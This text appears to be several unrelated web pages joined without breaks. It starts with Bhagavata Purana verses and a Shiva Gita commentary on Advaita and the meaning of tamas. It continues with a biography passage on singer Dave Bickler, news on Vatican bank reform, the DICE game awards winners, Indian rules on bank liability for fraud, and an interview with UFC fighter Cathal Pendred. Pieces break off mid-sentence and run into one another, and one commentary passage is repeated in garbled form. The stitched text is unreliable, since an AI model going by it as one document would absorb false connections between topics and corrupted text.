SB 8.7.30: O lord, your shadow is seen in irreligion, which brings about varieties of irreligious creations. The three modes of nature — goodness, passion and ignorance — are your three eyes. All the Vedic literatures, which are full of verses, are emanations from you because their compilers wrote the various scriptures after receiving your glance.
Shiva, the Brahman
SB 8.7.31: O Lord Girīśa, since the impersonal Brahman effulgence is transcendental to the material modes of goodness, passion and ignorance, the various directors of this material world certainly cannot appreciate it or even know where it is. It is not understandable even to Lord Brahmā, Lord Viṣṇu or the King of heaven, Mahendra.
Shiva, The destroyer
SB 8.7.32: When annihilation is performed by the flames and sparks emanating from your eyes, the entire creation is burned to ashes. Nonetheless, you do not know how this happens. What then is to be said of your destroying the Dakṣa-yagya, Tripurāsura and the kālakūṭa poison? Such activities cannot be subject matters for prayers offered to you.
Shiva Stuti
SB 8.7.33: Exalted, self-satisfied persons who preach to the entire world think of your lotus feet constantly within their hearts. However, when persons who do not know your austerity see you moving with Umā, they misunderstand you to be lusty, or when they see you wandering in the crematorium they mistakenly think that you are ferocious and envious. Certainly they are shameless. They cannot understand your activities.
SB 8.7.34: Even personalities like Lord Brahmā and other demigods cannot understand your position, for you are beyond the moving and nonmoving creation. Since no one can understand you in truth, how can one offer you prayers? It is impossible. As far as we are concerned, we are creatures of Lord Brahmā's creation. Under the circumstances, therefore, we cannot offer you adequate prayers, but as far as our ability allows, we have expressed our feelings.
SB 8.7.35: O greatest of all rulers, your actual identity is impossible for us to understand. As far as we can see, your presence brings flourishing happiness to everyone. Beyond this, no one can appreciate your activities. We can see this much, and nothing more.
SB 8.7.36: Śrīla Śukadeva Gosvāmī continued: Lord Śiva is always benevolent toward all living entities. When he saw that the living entities were very much disturbed by the poison, which was spreading everywhere, he was very compassionate. Thus he spoke to his eternal consort, Satī, as follows.
SB 8.7.37: Lord Śiva said: My dear Bhavānī, just see how all these living entities have been placed in danger because of the poison produced from the churning of the ocean of milk.
SB 8.7.38: It is my duty to give protection and safety to all living entities struggling for existence. Certainly it is the duty of the master to protect his suffering dependents.
SB 8.7.39: People in general, being bewildered by the illusory energy, are always engaged in animosity toward one another. But devotees, even at the risk of their own temporary lives, try to save them.
SB 8.7.40: My dear gentle wife Bhavānī, when one performs benevolent activities for others, the Supreme Personality of Godhead, Hari, is very pleased. And when the Lord is pleased, I am also pleased, along with all other living creatures. Therefore, let me drink this poison, for all the living entities may thus become happy because of me.
SB 8.7.41: Śrīla Śukadeva Gosvāmī continued: After informing Bhavānī in this way, Lord Śiva began to drink the poison, and Bhavānī, who knew perfectly well the capabilities of Lord Śiva, gave him her permission to do so.
SB 8.7.42: Thereafter, Lord Śiva, who is dedicated to auspicious, benevolent work for humanity, compassionately took the whole quantity of poison in his palm and drank it.
SB 8.7.43: As if in defamation, the poison born from the ocean of milk manifested its potency by marking Lord Śiva's neck with a bluish line. That line, however, is now accepted as an ornament of the Lord.
SB 8.7.44: It is said that great personalities almost always accept voluntary suffering because of the suffering of people in general. This is considered the highest method of worshiping the Supreme Personality of Godhead, who is present in everyone's heart.
SB 8.7.45: Upon hearing of this act, everyone, including Bhavānī [the daughter of Mahārāja Dakṣa], Lord Brahmā, Lord Viṣṇu, and the people in general, very highly praised this deed performed by Lord Śiva, who is worshiped by the demigods and who bestows benedictions upon the people.
SB 8.7.46: Scorpions, cobras, poisonous drugs and other animals whose bites are poisonous took the opportunity to drink whatever little poison had fallen and scattered from Lord Śiva's hand while he was drinking.
SB 4.4.11: The blessed goddess said: Lord Siva is the most beloved of all living entities. He has no rival. No one is very dear to him, and no one is his enemy. No one but you could be envious of such a universal being, who is free from all enmity.
SB 4.4.12: Twice-born Daksha, a man like you can simply find fault in the qualities of others. Lord Siva, however, not only finds no faults with others' qualities, but if someone has a little good quality, he magnifies it greatly. Unfortunately, you have found fault with such a great soul.
SB 4.6.35: The demigods saw Lord Siva situated in his perfection as the master of the senses, knowledge, fruitive activities and the path of achieving perfection. He was the friend of the entire world, and by virtue of his full affection for everyone, he was very auspicious.
SB 4.6.36: He was seated on a deerskin and was practicing all forms of austerity. Because his body was smeared with ashes, he looked like an evening cloud. On his hair was the sign of a half-moon, a symbolic representation.
SB 4.6.37: He was seated on a straw mattress and speaking to all present, including the great sage Narada, to whom he specifically spoke about the Absolute Truth.
SB 4.6.38: His left leg was placed on his right thigh, and his left hand was placed on his left thigh. In his right hand he held rudraksha beads. This sitting posture is called virasana. He sat in the virasana posture, and his finger was in the mode of argument.
SB 4.6.39: All the sages and demigods, headed by Indra, offered their respectful obeisances unto Lord Siva with folded hands. Lord Siva was dressed in saffron garments and absorbed in trance, thus appearing to be the foremost of all sages.
SB 4.6.40: Lord Siva's lotus feet were worshiped by both the demigods and demons, but still, in spite of his exalted position, as soon as he saw that LordBrahma was there among all the other demigods, he immediately stood up and offered him respect by bowing down and touching his lotus feet, just as Vamanadeva offered His respectful obeisances to Kasyapa Muni.
SB 4.6.41: All the sages who were sitting with Lord Siva, such as Narada and others, also offered their respectful obeisances to Lord Brahma. After being so worshiped, Lord Brahma, smiling, began to speak to Lord Siva.
SB 4.6.42: Lord Brahma said: My dear Lord Siva, I know that you are the controller of the entire material manifestation, the combination father and mother of the cosmic manifestation, and the Supreme Brahman beyond the cosmic manifestation as well. I know you in that way.
SB 4.6.43: My dear lord, you create this cosmic manifestation, maintain it, and annihilate it by expansion of your personality, exactly as a spider creates, maintains and winds up its web.
SB 4.6.44: My dear lord, Your Lordship has introduced the system of sacrifices through the agency of Daksha, and thus one may derive the benefits of religious activities and economic development. Under your regulative principles, the institution of the four varnas and asramas is respected. The brahmanas therefore vow to follow this system strictly.
SB 4.6.45: O most auspicious lord, you have ordained the heavenly planets, the spiritual Vaikuntha planets and the impersonal Brahman sphere as the respective destinations of the performers of auspicious activities. Similarly, for others, who are miscreants, you have destined different kinds of hells which are horrible and ghastly. Yet sometimes it is found that their destinations are just the opposite. It is very difficult to ascertain the cause of this.
SB 4.6.46: My dear Lord, devotees who have fully dedicated their lives unto your lotus feet certainly observe your presence as Paramatma in each and every being, and as such they do not differentiate between one living being and another. Such persons treat all living entities equally. They never become overwhelmed by anger like animals, who can see nothing without differentiation.
Shiva Advaita - Shiva is one, there is no second
SB 4.6.47: Persons who observe everything with differentiation, who are simply attached to fruitive activities, who are mean minded, who are always pained to see the flourishing condition of others and who thus give distress to them by uttering harsh and piercing words have already been killed by providence. Thus there is no need for them to be killed again by an exalted personality like you.
SB 4.6.48: My dear lord, if in some places materialists, who are already bewildered by the insurmountable illusory energy, sometimes commit offenses, a saintly person, with compassion, does not take this seriously. Knowing that they commit offenses because they are overpowered by the illusory energy, he does not show his prowess to counteract them.
SB 4.6.49: My dear lord, you are never bewildered by the formidable influence of the illusory energy, Maya. Therefore you are omniscient and should be merciful and compassionate toward those who are bewildered by the same illusory energy and are very much attached to fruitive activities.
Shiva Advaita
SB 8.12.8: My dear Lord, Your Lordship alone is the cause and the effect. Therefore, although You appear to be two, You are the absolute one. As there is no difference between the gold of a golden ornament and the gold in a mine, there is no difference between cause and effect; both of them are the same. Only because of ignorance do people concoct differences and dualities. You are free from material contamination, and since the entire cosmos is caused by You and cannot exist without You, it is an effect of Your transcendental qualities.
SB 8.12.9: Those who are known as the impersonalist Vedantists regard You as the impersonal Brahman. Others, known as the Mimamsaka philosophers, regard You as religion. The Sankhya philosophers regard You as the transcendental person who is beyond prakriti and purusha and who is the controller of even the demigods. The followers of the codes of devotional service known as the Pancaratras regard You as being endowed with nine different potencies. And the Patanjala philosophers, the followers of Patanjali Muni, regard You as the supreme independent Personality of Godhead, who has no equal or superior. (Verses glorifying bhagavAn Siva can also be found here
Verses in Siva gItA similar to anya-devatA verses in bhagavad gItA (9.25)
Shiva Gita or Siva gItA (SG) is an authentic text with more than three commentaries written on it. It is a part of padma purANa. In the 12th adhyAya, upAsanA GYAna phala, we find verses similar to BG 9.25. Infact SG is more clearly explains the meaning of these verses.
Shiva Gita or Siva gItA (SG) is an authentic text with more than three commentaries written on it. It is a part of padma purANa. In the 12th adhyAya, upAsanA GYAna phala, we find verses similar to BG 9.25. Infact SG is more clearly explains the meaning of these verses. Before going to chapter 12, lets have a look at chapter 11, which forms the basis of asking questions on saguNa upAsanA. In SG 11.45, bhagavAn Siva says to bhagavAn rAma that
उपासको न यात्येव यस्मात्पुनरधोगतिम.
उपासनरतो भूत्वा तस्मादास्स्व सुखी नृप [11.45]
He rAmachandra! those who think nirguNa upAsanA (worship of formless, attributeless brahman) is difficult, they should practice saguNa upAsanA (worship to any form of ISvara) first. Anyone practicing saguNa upAsanA is not demoted to lower worlds (adhogatI) i.e. after leaving physical body, jIva's movement will not be downwards - SG 11.45
(upAsanA = worship)
Meaning:
Those who find practising nirguNa upAsanA, they must first practise saguNa upAsanA. Souls of those worshipping any form of ISvara will never move downwards (to lower worlds).
After this kathan (statement), bhagavAn rAma asks bhagavAn Siva (maheSvara) how to practice upAsanA.
श्रीराम उवाच...
भगवन्देवदेवेश नमस्तेऽस्तु महेश्वर.
उपासनविधिं ब्रूहि देशं कालं च तस्य तु [1]
अङ्गानि नियमांश्चैव मयि तेऽनुग्रहो यदि
srI rAmachandra said - He deva of deva-s maheSvara (Siva)! I prostate before you. Please can you describe vidhi (step by step procedure) and describe time and space (place) i.e. in which time and in which way upAsanA should be done. SG 12.1
Meaning:
Please explain in which way, at what time and place should upAsanA be done.
ईश्वर उवाच...
शृणु राम प्रवक्ष्यामि देशं कालमुपासने [2]
सर्वाकारोऽहमेवैकः सच्चिदानन्दविग्रहः.
मदंशेन परिच्छिन्ना देहाः सर्वदिवौकसाम [3]
Isvara said (bhagavAn Siva said - He rAma! I will explain to you the procedure of upAsanA and will also tell you at which time and place it must be done. Listen with present mindedness. All the devatA-s are my rUpa only (they are me only). In reality, they are not different than me - SG 12.2-3
ये त्वन्यदेवताभक्ता यजन्ते श्रद्धयान्विताः.
तेऽपि मामेव राजेन्द्र यजन्त्यविधिपूर्वकम [4]
Those who are devotees of other devatA-s, and they faithfully worship these devatA-s, O king! they worship me with bheda buddhi (dual stand point) i.e. they consider these devatA-s different than me - SG 12.4
यस्मात्सर्वमिदं विश्वं मत्तो न व्यतिरिच्यते.
सर्वक्रियाणां भोक्ताहं सर्वस्याहं फलप्रदः [5]
ईश्वर उवाच...शृणु राम प्रवक्ष्यामि देशं कालमुपासने [2]सर्वाकारोऽहमेवैकः सच्चिदानन्दविग्रहः.मदंशेन परिच्छिन्ना देहाः सर्वदिवौकसाम [3]Isvara said (bhagavAn Siva said - He rAma! I will explain to you the procedure of upAsanA and will also tell you at which time and place it must be done. Listen with present mindedness. All the devatA-s are my rUpa only (they are me only). In reality, they are not different than me - SG 12.2-3ये त्वन्यदेवताभक्ता यजन्ते श्रद्धयान्विताः.तेऽपि मामेव राजेन्द्र यजन्त्यविधिपूर्वकम [4]Those who are devotees of other devatA-s, and they faithfully worship these devatA-s, O king! they worship me with bheda buddhi (dual stand point) i.e. they consider these devatA-s different than me - SG 12.4यस्मात्सर्वमिदं विश्वं मत्तो न व्यतिरिच्यते.सर्वक्रियाणां भोक्ताहं सर्वस्याहं फलप्रदः [5] Because in this entire world (samsAra), there is nothing except me, due to this reason, I am enjoyer of all actions (kriyA-s) and also the giver of fruits of actions (phala) - SG 12.5
येनाकारेण ये मर्त्या मामेवैकमुपासते.
तेनाकारेण तेभ्योऽहं प्रसन्नो वाञ्छितं ददे [6]
The one who worships (me) with whatever bhAva (spiritual emotion - sAttvika, rAjasika, tAmasika or intention), I, in that form of devatA, give them fruits according their bhAva - SG 12.6
Now, bhagAvan Siva goes one step further and says,
विधिनाऽविधिना वापि भक्त्या ये मामुपासते.
तेभ्यः फलं प्रयच्छामि प्रसन्नोऽहं न संशयः [7]
Those who worship me with vidhi (step by step procedure as ordained by SAstra-s), or those who worship me without any vidhi, (avidhi upAsanA), or worships me by any way, pleased with their devotion, I give them [appropriate] fruits [of their devotion] - SG 12.7
From this we can conclude that there is no difference between Siva and kruShNa. In bhagavad gItA, kruShNa is playing the role of gUru and ISvara and in Siva gItA, Siva is playing role of gUru and ISvara and bhagavAn rAma is playing the role of disciple for the good of all.
Interpolations in padma purANa
Padma Purana is considered as most corrupted Purana, specially the uttara khanda. This is because there are two version available – Bengali and South Indian, each differing in content says scholars. Swaping from Sankrit to Bengali and back to Sanskrit could have been the cause of corruption. Bengalis often replace ‘v’ with ‘b’ e.g. Buddha ‘Vihar’ changed ‘Bihar’. ‘Vanga’ changed to ‘Benga’, which got changed to ‘Bengal’. ‘Vanga Bandhu’ changed to ‘Banga Bandhu’.
Inconsistencies and contradictory statements in various purANa-s and in between mahAbhArata exists. Some people are of the opinion that this inconsistency are due to kalpa bhEda (difference due to mixing of info of various eons).
If we accept this logic, then we will have to accuse bhagavAna vEda vyAsa of not being avatAra of sriman nArAyaNa. Even if we say that purANa-s are created by brahma (along with vEda-s), still is it not tarka-sangat (logically wise) to accept this claim. Brahma is not an ordinary jIva. He is one of trimUtrI (trinity). The creator of this universe simply cannot make any mistake, else everything will be a mess. Also confusion and / or loss of memory and mixing of information or lIlA-s by avatArs cannot be accepted.
So how to neutralize or say solve contradictory verses in SAstra-s? We can adopt nAhI nindA nyAya and do not denigrate any deity. We can accept that Siva and viShNu are different forms of same Brahman. in support of this logic, we can find support in SAstra-s.
Interpreting 'tamas'
tamasa (tamas) gUNa is often meant for negative lower emotions like destruction, revengeful attitude, darkness, laziness, etc. tamas has many more meanings. Inactivity is called as tamas. When one is sleeping one one is under the influence of tamas gUNa. In deep sleep (suSupti), one is under tamasa gUNa. The only difference between suSupti and samAdhi is consciousness or wakefulness. One is aware of absence of everything.
In this context the word tamas also means avidyA (ignorance) or AvaraNa (veil) or aGYAna (absence of knowledge). After the mental agitation is reduced or nullified, calm and stable mind free of distractions, can contemplate on Brahman. Only aGYAna is left to be removed. This aGYAna can only be removed with it's opposite GYAna or knowledge of Self (AtmA or Atma tatva).
bhagavAna Siva is said to be the master of tamas gUNa. Siva is also called as giver of Knowledge, GYAna svarUpa, tripUrAntaka (destroyer of 3 cities - subtle bodies), Adi gurU and Siva (auspiciousness). Hence only bhagavAna Siva can grant knowledge and hence moksha. In other words the act of removal of ignorance is called as Siva.
In this context, tAmasika purANa-s cannot be considered as misleading. Infact it is only bhagavAna Siva who can grant us moksha. It is said that Siva krupA means gurU krupA.
On the other hand, if we take literal meaning of tamas like laziness, inactivity, or even destruction, then still since bhagaVAna Siva is the Lord of tamas gUNa, only he can uproot them from us. In other words the one who removes negative qualities and giver of grace is called as Siva or rudra. In this case, the first thing to remove or transform is our negative emotions. Hence tAmasika purANa-s are the first to be studied.
Let us come back to the word tamas. Lets try to study a hymm of rg veda called nAsadIya sUkta. It defines the creation of universe.
tama̍
ama̍sā
At first there was only darkness (tamas) wrapped in darkness (tamas ).
All this was only unillumined water.
That One which came to be, enclosed in nothing,
arose at last, born of the power of heat.
(Later verses explain the creation.)
Why is it called as darkness covered with darkness? Here how should we interpret tamas gUNa?
We all know that ISvara created this world through is mAyA. mAyA is trigUNAtimikA i.e. having three gUNa-s. It is never said that ISvara first created his mAyA. mAyA was always present with ISvara. Hence mAyA is called as anAdi (beginningless).
In above context, lets understand the word 'tamas'.
tamas here would mean inactivity or dormant. It could also mean unmanifested universe. w.r.t to mAyA, we can conclude that all three gUNa-s were present but in dormant form. But there was something which covered this. That which covered veiled these three gUNa was tamas i.e. tamas gUNa was the most dominant. The first two verses in nAsadiya sukta indicate supreme brahman above or beyond the reach of three guNa but seems to be veiled by mAyA just like sun seems to be veiled by clouds.
Hence the first tamas is indirectly referring to sat or truth which is Brahman and second one is referred by mAyA which is inactive and hence mAyA has not manifested universe.
To further simplify, we can say that, when there was no creation there was only brahman (sat, truth), and his mAyA was dormant.
If we take a meaning that there was a time when there was no brahman, it would contradict vedAnta. If we say that there was only tamas gUNa and no other gUNA was present, it would mean that other gUNA-s were absent and hence mAyA was absent. You can create things with the material that you have. If mAyA did not have other two gUNa-s (sattva and rajas) then mAyA would not be able to create anything. It would also contradict those verses which say that there was there was no time then there was no ISvara, like in gita krUShNa bhagavAna has said.
Hence we have to take it that during the time, when there was no creation, there was
sat (brahman and mAyA in dormant state, veiling brahman (like clouds seems to veil sun)
nAsada means nA-asata meaning no non-existence. This verse also refutes zero state where there is only void and no Self (brahman), establishes nirgUna brahman as always present.
nAsadiya sukta can be found
).All this was only unillumined water.That One which came to be, enclosed in nothing,arose at last, born of the power of heat.nAsadiya sukta can be found here
From the above analysis, we can understand that tamas always does not mean misleading, darkness, or as some say - leading to hell :)
Also tamas guNa is the first one that has to be transformed. If we take tamas as laziness, then our regular study of SAstra-s, and daily meditation will reduce tamas from our chitta and increase sattva guNa. By this logic too, first set of purANa-s that should be studied are tAmasika purANa-s (if we take this classification as partly correct)
Reading any purANa-s will not mislead anyone, as advaita accepts all forms of ISvara as equally potent and manifestations of same Brahman.
purANA-s, itihAsa-s, veda-s, vedAnta and smriti-s and Agama-s should be interpreted in a way that they should not contradict each other. Earlier vaishnava saints like nArAyaNa bhaTTa, who was the first critic of Adi Sankara and raised objections to kevala advaita in his brahma-sutra bhASya (later AcArya-s borrowed objections from him says SSS ). In his commentary on taittriya samhitA, nArAyaNa bhaTTA did not interpret srI rudram in a way some later AcArya-s started interpreting them taking Siva, rudra as just adjectives since their siddhAnta makes them to say that whatever is supreme *must* go to viShNu. It is said that ranga rAmAnuja munI did not agree with the interpretation of srI rudram and panch brahma upanishad done by bhaTTA bhAskara.
sattva, rajasa and tamasa - alternate meanings
It is a general notion that sattva guNa is the best guNa, the divine guNa, rajasa denotes materialistic qualities and activities and tamasa guNa denotes inertia, laziness, negative demonic qualities like revengeful attitude. However these guNa-s have alternate meaning also.
rajasa can mean'mental activity' which can mean'mental agitation'. Mental agitation is the disturbance created by thoughts during meditation. This is the first guNa to be controlled.
sattva can also mean 'to preserve' (as bhagavAn viShNu preserves). sattva guNa also has quality of'renunciation'. Hence by renunciation of that which is not 'I' one can reach the supreme state - Brahman.
tamasa also means ignorance 'avidyA' and 'aGYAna', the root cause of misery and mortality. It is a veil which separates us or keeps us away from our true nature. It is necessary to remove the veil of ignorance so as to know our true nature.
Mind can be steady like an un-flickering flame protected from external wind, but that does not mean one is steadfast in brahman. After quieting the mind i.e. conquering rajasa guNa, one has to renounce that which is 'not-I'. One has to separate 'I' from that which is not-I. AS one separates I and detaches itself, the veil remains. This is done even by dropping the effort to detach from non-I. Once the veil of ignorance is removed, GYAna springs fourth in a flash.
Since brAhmA jI is the lord of rajasa, hence by reading purANa-s dedicated to him, one can rise above rajasa. In the same way, by singing glories of viShNu, sattva and tamasa guNa can rise above sattva and tamasa guNa. After rising beyond guNa-s one is self-established in Self, The Brahman.
There is no question of going to hell. Afterall the Gods help us ascend and not descend. vaiShNava-s say, Siva is paramabhAgavata, the greatest devotee of bhagavAn viShNu and so is brAhmA jI. In this case, can a great devotee of viShNu lead anyone to hell? It is not self
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the Lock Up movie soundtrack with the voice of Jimi Jamison).
Bickler left the band in late 1983 after he developed polyps on his vocal cords and required surgery and voice rest, a condition that would take a year and a half to recuperate from. Bickler was also unhappy about his lack of a bigger payday he felt was owed him for the multi-platinum success the band had from their hit album Eye of The Tiger released a year earlier.[citation needed] After leaving Survivor, Bickler continued recording with other groups in the Chicago area and doing commercial jingles and ads.
Bickler rejoined Survivor in early 1993 as lead vocalist for a Greatest Hits album on Scotti Bros. featuring two new songs "You Know Who You Are" and "Hungry Years" (which he co-wrote). Bickler recorded new music with the band in hopes of a new album, but ongoing lawsuits and trademark ownership issues with former singer Jimi Jamison halted the release.[citation needed]
Bickler was fired in early 2000 after a brief string of tour dates. On April 1, 2000, it was announced that for the second time Jimi Jamison was the new lead singer of Survivor.
Bickler is credited with co-writing two songs on the Survivor album Reach with Frankie Sullivan: "I Don't" and "One More Chance".
In 2013, it was announced on Survivor's official media sources that guitarist Frankie Sullivan had reunited the current Survivor line-up with Dave Bickler again, with the band planning to have their two most well-known vocalists together for the next tour, Dave Bickler and Jimi Jamison.[8] Following a year of touring together with Bickler in this lineup, Jamison died of a drug-induced stroke on September 1, 2014.
In March 2016, Bickler was again fired from Survivor.[9]
Bud Light "Real Men of Genius" radio and television ads [ edit ]
Since 2000, Bickler has continued his venture in recording commercials and video advertisements. His singing is featured in the successful Budweiser Light "Real American Heroes" and "Real Men of Genius" ad campaign (the decision to change the campaign from Heroes to Genius was made after 9/11) singing plaintively in counterpoint to the wry commentary of voice actor Peter Stacker. Over 100 of these commercials have been recorded and broadcast on sports radio stations and events for over ten years. A handful of CDs from the Bud Light ads have been released and sold over 100,000 copies in its first three weeks of release. The release according to 'Pop Culture Tonight: with Patrick Phillips' February 2016 interview with Dave Bickler, sold 400,000 copies.
Discography [ edit ]
With Survivor [ edit ]
Solo [ edit ]
Track listing [ edit ]
No. Title Writer(s) Length 1. "Hope" Dave Bickler 3:48 2. "Kaleidoscope" Dave Bickler 3:00 3. "Fear Of The Dark" Dave Bickler 5:01 4. "Magic" Dave Bickler 3:54 5. "The Gift" Dave Bickler 3:35 6. "Always You" Dave Bickler 3:52 7. "Time" Dave Bickler 4:21 8. "Sea Of Green" Dave Bickler 4:26 9. "Lights" Dave Bickler 4:19 10. "Angel Heart" Dave Bickler 3:54 11. "The Sky Is Falling" Dave Bickler 3:49VATICAN CITY (RNS) Pope Francis has approved a new direction for the scandal-ridden Vatican bank as it seeks to improve transparency and compliance with international guidelines, the Vatican said Monday (April 7).
The bank, known as the Institute for Religious Works, was founded in 1942 to manage funds for Roman Catholic institutions, Vatican employees and clergy but has been plagued by allegations of money laundering and Mafia links for decades.
The pope’s statement ended months of speculation about the troubled bank’s future and endorsed a proposal developed by Cardinal George Pell, head of the Vatican’s new Secretariat for the Economy.
“The IOR will continue to serve with prudence and provide specialized financial services to the Catholic Church worldwide,” the Vatican said in a statement released on behalf of the pope Monday (April 7).
Ernst von Freyberg, president of the IOR, will work with bank management to finalize changes that fulfill the Vatican’s new financial structures, the statement said.
The pope identified the bank as a key target of reforms after his election last year and had not ruled out its closure if it was unable to conform to international standards of transparency and accountability.
Last year the bank published details of its accounts for the first time and a team of experts from the Promontory Financial Group, a regulatory compliance consulting firm, began screening the 19,000 accounts held by the bank looking for signs of money laundering and other crimes.
The Vatican bank has struggled to clean up its image since Roberto Calvi, dubbed “God’s banker” because of his dealings with it, was found hanging beneath Blackfriars Bridge in London in 1982 in a suspected Mafia killing.
More recently the bank’s former president, Ettore Gotti Tedeschi, was sacked in 2012 after Italian prosecutors seized 23 million euros ($29 million) from a Rome bank account registered to the IOR amid suspicions of money laundering.
Now Monsignor Nunzio Scarano, a former Vatican accountant with close links to the IOR, is facing trial on charges of money laundering and allegedly plotting to smuggle millions of dollars from Switzerland into Italy in a tax-dodging scheme.
Paolo Cipriani and Massimo Tulli, the former director and deputy director at IOR, who resigned in July after Scarano’s arrest, have also been ordered to stand trial on charges of violating anti-money laundering norms.
The pope’s approval “represents for us a strong accreditation, a great recognition of the importance of our mission and service work done in the last 12 months,” said IOR spokesman Max Hohenberg, in a statement.
YS/AMB END MCKENNAWhile Middle-earth: Shadow of Mordor won eight of the nine awards it was up for at tonight's 18th annual DICE awards, it was Dragon Age: Inquisition that was named game of the year.
The announcement, the last award handed out of the evening, drew a gasp of surprise from the audience before thunderous applause.
The Dragon Age developers who took to the stage to accept the award joked about the Shadow of Mordor team needing a Fitbit, before saying the award for game of the year was incredibly humbling. Dragon Age: Inquisition also was named the best role-playing, massively multiplayer game of the year.
The evening's awards were hosted by comedian and podcaster Pete Holmes and included a Technical Impact award for Apple and pioneer awards for Ralph Baer and Al Alcorn.
You can find the full list of winners below.
Game of the Year
Dragon Age: Inquisition
Publisher: Electronic Arts
Developer: BioWare
Outstanding Achievement in Game Direction
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Outstanding Achievement in Game Design
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Action Game of the Year
Destiny
Publisher: Activision Publishing, Inc.
Developer: Bungie
Adventure Game of the Year
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Family Game of the Year
LittleBigPlanet 3
Publisher: Sony Computer Entertainment America LLC
Developer: Sony Worldwide Studios Europe/Sumo Digital
Fighting Game of the Year
Super Smash Bros. for Wii U
Publisher: Nintendo
Developer: Sora Ltd./BANDAI NAMCO Games Inc./BANDAI NAMCO Studios Inc.
Racing Game of the Year
Mario Kart 8
Publisher: Nintendo
Developer: Nintendo
Role-Playing/Massively Multiplayer Game of the Year
Dragon Age: Inquisition
Publisher: Electronic Arts
Developer: BioWare
Sports Game of the Year
FIFA 15
Publisher: Electronic Arts
Developer: FIFA Development Team - EA Canada
Strategy/Simulation Game of the Year
Hearthstone: Heroes of Warcraft
Publisher: Blizzard Entertainment
Developer: Blizzard Entertainment
D.I.C.E. Sprite Award
Transistor
Publisher: Supergiant Games
Developer: Supergiant Games
Handheld Game of the Year
Super Smash Bros. for Nintendo 3DS
Publisher: Nintendo
Developer: Sora Ltd./BANDAI NAMCO Games Inc./BANDAI NAMCO Studios Inc.
Mobile Game of the Year
Hearthstone: Heroes of Warcraft
Publisher: Blizzard Entertainment
Developer: Blizzard Entertainment
Outstanding Achievement in Online Gameplay
Destiny
Publisher: Activision Publishing, Inc.
Developer: Bungie
Outstanding Innovation in Gaming
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Outstanding Achievement in Animation
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Outstanding Achievement in Art Direction
Monument Valley
Publisher: ustwo
Developer: ustwo
Outstanding Achievement in Character
Middle-earth: Shadow of Mordor (Talion)
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Outstanding Achievement in Original Music Composition
Destiny
Publisher: Activision Publishing, Inc.
Developer: Bungie
Outstanding Achievement in Sound Design
Destiny
Publisher: Activision Publishing, Inc.
Developer: Bungie
Outstanding Achievement in Story
Middle-earth: Shadow of Mordor
Publisher: Warner Bros. Interactive Entertainment
Developer: Monolith Productions
Outstanding Technical Achievement
Middle-earth: Shadow of MordorMUMBAI: Banks will have to develop tracking software which can “fingerprint” parties in a transaction to prevent some customers from trying to game the system.Bankers are worried that customers might cry fraud to avoid making payments.“The onus of proving that the customer was negligent rests with banks,” said A P Hota, MD & CEO, National Payments Corporation of India ( NPCI ), referring to the Reserve Bank of India’s latest circular on customer liability in electronic payments. According to the chief of the payments body, the move will help promote electronic payments.“I view this regulation as a big step forward to provide confidence in the system on carrying out digital transactions. The regulation has balanced the rights and responsibilities of both the parties —banks and their customers,” said Hota.Banks agree that the new norms will provide greater comfort to customers and encourage digital transactions. However, they are worried about dealing with fraudsters who might try to misuse regulations. While in the past banks simply avoided compensating customers for suspect transaction, the new rules require that banks prove the complicity of the customer.Bankers say that if the transaction log shows that it has been authenticated by the customer with a secret pin or password it is treated as negligence on the part of the customer. However, in case there is a fraud where transactions are done internationally without second factor authentication (one-time password or PIN), the amount is reversed and a charge-back is made on the merchant within 45 days under the Visa or MasterCard agreement.The RBI’s new norms require that on being notified by the customer, the bank shall credit the amount involved in the unauthorized electronic transaction to the customer’s account within 10 working days of notification by the customer.The norms also state that where the loss is due to negligence by a customer, such as where he has shared the payment credentials, the customer will bear the entire loss until he reports the unauthorized transaction to the bank. Any loss occurring after the reporting of the unauthorized transaction shall be borne by the bank.“We have had cases where the customer swore he had never shared his credentials but it turned out that the electronic payment was made by family members using the customer’s credential,” said the retail head of a private bank. Another common grouse among bankers is that the guidelines apply to banks but not to digital wallets One banker said that the new guidelines amount to providing free insurance cover to the customer. “Operations expenditure will take a big hit as we will have to invest more in SMS facilities and monitoring transactions,” said an executive director with a private bank.Cathal Pendred will look to go 4-0 inside the Octagon at UFC 188 on June 13 when he faces off with Augusto ‘Dodger’ Montano in Mexico City. Set to make his UFC main card debut at the event the Dubliner has a few more media obligations that usual, one of which forced him to leave Ireland on St Patrick’s Day.
Although Pendred has previously cited the large amount of travel his occupation requires as one of the perks, this time around the 2005 Senior Cup winner missed the tenth anniversary of his team’s triumph due to his visit to the city that will host UFC 188.
“I spent the whole of Paddy’s Day on a plane,” claimed Pendred. “I flew from Dublin to Washington on Paddy’s Day morning, I was there for a couple of hours and then I flew on to Mexico City and it was 10 pm when I arrived.
“Usually I’d just meet up with a few friends. I would’ve went to see my old school, Belvedere, they were in the Senior Cup final that day too. I would’ve definitely went down and watched that match. I missed out on the whole day, all the festivities, but I’ll make up for it next year.
“It was the ten year anniversary of when my team won the Cup too, so we were all going to meet up before the final and have a few drinks. It’s a shame I missed that, but you’ve got to put yourself in these positions if you’re going to have a lifestyle like this.”
Fighting on his opponent’s home turf for the first time, Pendred insisted that he has had nothing but positive experiences so far in Montano’s back yard.
He said: “There was no rough reception at all, everybody over here has been unbelievably nice to me. I’ve met my opponent and he seems to be a very nice guy too, very professional. Tomorrow there is a press conference and a little media day so I’m sure I’ll get more of a feel for it then.
“I’d say when I stand up there face to face with my opponent, that’s the time when the fans are going to probably boo. Like I’ve said before, it’s to be expected, there’s nothing personal to it at all. I’ll enjoy it if anything.”
The former Cage Warriors welterweight champion also revealed one of the more awkward moments he has shared with an opponent as UFC forced him to share an interview with Montano as well as making him stare down with his June 13 counterpart for “five minutes” straight.
“I generally do take a bit from facing off with my opponents. You can kind of get an idea of how your opponent is feeling. To be honest, this one was particularly awkward. We were in this dark room together and the same interviewer was interviewing us at the same time.
“So we’re in the same room as each other for about 40 minutes and then they made us kind of face and stare at each other for about five minutes straight. The only sense I got of him was that he was feeling awkward, but sure I was exactly the same myself.
